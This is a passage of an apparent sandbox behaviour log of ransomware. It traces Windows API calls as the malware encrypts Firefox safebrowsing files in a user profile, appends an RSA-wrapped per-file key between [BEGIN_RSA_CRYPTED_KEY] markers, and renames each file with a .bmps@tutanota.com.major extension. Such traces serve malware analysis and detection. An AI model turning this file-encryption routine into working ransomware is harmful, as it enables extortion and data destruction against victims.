lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.436] CloseHandle (hObject=0x1a54) returned 1 [0242.436] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.438] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.438] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.438] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.438] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82780) returned 1 [0242.438] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x1435c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x1435c, lpOverlapped=0x0) returned 1 [0242.608] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-82780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.609] WriteFile (in: hFile=0x1a54, lpBuffer=0x3409380*, nNumberOfBytesToWrite=0x1435c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3409380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1435c, lpOverlapped=0x0) returned 1 [0242.609] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1435c [0242.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.609] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cmLrmcq/q9okZczGGLMLoBTSxdLOeVRyL6/VkX9PsojZQCOQ9AgoGfhhKWVULdhX\nhY0q4EbbC7295n1d3VXHsrZsU7udAMvsuixwzsAUCMAWx7gfhCpTC/W2JUd9iZsM\n3D6Gb8bpBrM/3Iz6o5XwqsyyEc0ev7uihLtsBuC0fQq7a1fposRafslCE3N0bJj8\njqF4/I/oygkSuhAkkVyhiSL53a0AVbSD9/o0On8H7aCCTHJC2AsdVuUHpREsvBU7\nB2crGZB1KgGMT/RoZ8ozm5vHpVvvMZUY7lvL+K1P31itijAqb/LbOd0pNHL5GbD2\nfRk7zhBry25QFRwoxz3QdQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.610] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.610] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.610] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.610] CloseHandle (hObject=0x1a54) returned 1 [0242.610] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.612] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.612] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.612] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.613] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.613] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40468, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40468*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.613] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.614] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40480*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40480*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.614] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.614] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.614] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.614] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ICvabmZoFkp0FFBL3VjhCqIvd0lYOg/GxAQ4ZhnXDMNCSTj3X+z8HR7cKZ5tAjFG\nWDx2M8nej4GGQWoCaCe6ZbiUek8Sg4CZfnVRs5HG5tjBOjFawqTNlatxCOM+qn4Z\nw1IasvyIv0RfrGh9jIRVTpWFqYVyVVSHFnH40EwyWf2rjaoRpg9sdiTEaadwiwAY\nbWIfGz5xVi/MyApECsonun7cIio8dNKFj+llKUq3cEomYmQSq4xQ7KI3uTParwr9\n2PvzTEvCyTxub4qEA8vi2SEFetYry6e1auiz0SK5nsaGx02qZ9LHq3a4ndF7AODV\n88E7bv1v+H3mPiXt+BbaBg==\n", pcchString=0x2e3f9a8) returned 1 [0242.614] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.615] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.615] CloseHandle (hObject=0x1a54) returned 1 [0242.615] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.617] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.617] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.617] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.618] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7648) returned 1 [0242.618] ReadFile (in: hFile=0x1a54, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x1de0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1de0, lpOverlapped=0x0) returned 1 [0242.637] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-7648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.637] WriteFile (in: hFile=0x1a54, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1de0, lpOverlapped=0x0) returned 1 [0242.637] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1de0 [0242.637] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.637] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.637] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.637] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.637] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.638] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BY/oneDhxliCnOoqGtn6bmpcmQOxYlt3JkMwSBDXq+nvLQtHjtrg3oVLlCd7bc3Y\n71tCF4cAU7QKNW8ZgvB5yt5Gv+phAAovzvOo6SBE+ylTY+fiQdGokiax+plQT9Jl\n/OJSSiojEzfLz7Nym3ee5x8zd/NFTq0rPt05jjppcmfKMCSLHsfNT/4dU2WplCsp\n6dHrmzS71HF/OkgtyJIkDTw7OyL/aLvlH6YVWRNZgmcIvyYceF3bVQPEqw3pCQp+\nP3dU6ofl3eAFwqC96DUINYi9uRe2U84RyzFSY+FOlR0uVG/rwTWrKIW7D7m8OvAF\nifiLrZoTK7EtJmayqgtzkQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.638] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.638] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.638] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.638] CloseHandle (hObject=0x1a54) returned 1 [0242.638] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.723] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.723] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.724] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.724] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40408, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40408*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.725] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.725] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40438*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40438*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.725] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.725] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.725] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.725] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.725] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.725] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.726] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qSHUQ72lQvn9rcnG12GOWIge7u2WIAUuRh19mvI5aI8HRqj6OzuUUUWWMjPT56zE\nC+hhHYOaAEou3xVpN2QIHQwtrIFgdDDiQhaXKXK3tjrQ9ioNGpLN58dQWej6k887\nORT7B/OFO3n8zmNZgGpVUgGm3TvaPMDZHC8OTL92DN22ocnsX8ddHeIS2bBQ0gtD\n+Pk0eoB9K7tDC+QqJG1iq2UwnZDkQfzlle0jlbQ6g6sYnorrQRNtwh76eecIs3ZE\nxEBftxe0QB18TtWh3pyNPg6LnL2rsoBeGabEiC2mfVYp+I5VlnVwUQ44fyJ066g6\nx7uca+CnHY7NxDdEnLcLfA==\n", pcchString=0x2e3f9a8) returned 1 [0242.726] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.726] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.726] CloseHandle (hObject=0x1a54) returned 1 [0242.726] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.727] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.728] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.728] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62008) returned 1 [0242.728] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0xf238, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0xf238, lpOverlapped=0x0) returned 1 [0242.801] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-62008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.802] WriteFile (in: hFile=0x1a54, lpBuffer=0x3404258*, nNumberOfBytesToWrite=0xf238, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3404258*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf238, lpOverlapped=0x0) returned 1 [0242.802] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf238 [0242.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.802] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.803] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.803] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.803] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.803] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="hbC6tL0oczolTt5q/o5UgJjJf5U/PFHE31Gg01LiKHPc94+7/q++Y58+WcOZG2EW\nkAykZGqKC0cADkyLOtR+w2F2vOPw0bizZFZJJlJECJR2DvaL+R9+3ZOxYd/WWvVy\nWzETM9qDkcnD0ij8jNbo/M3l1TnJY7W52z3f3ZHxbcDi9lz8xjBKjobWw+4IgrNz\nTEwwZwnAdgVR8XdweSEFlFycEB20mp1pCuesZq8AzjVaBBCQf3rNrqrxYpannYQ1\nUmRrMMQ5Q1MUtYvAbqJEkXZofUCTJLEPqaZSiK/XMihswer3Sym7ozO6W9rY1h26\no14lDi1bBn15zoE30sH9BA==\n", pcchString=0x2e3f9a8) returned 1 [0242.803] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.803] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.803] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.803] CloseHandle (hObject=0x1a54) returned 1 [0242.803] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.805] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\base-track-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.805] CreateFileW 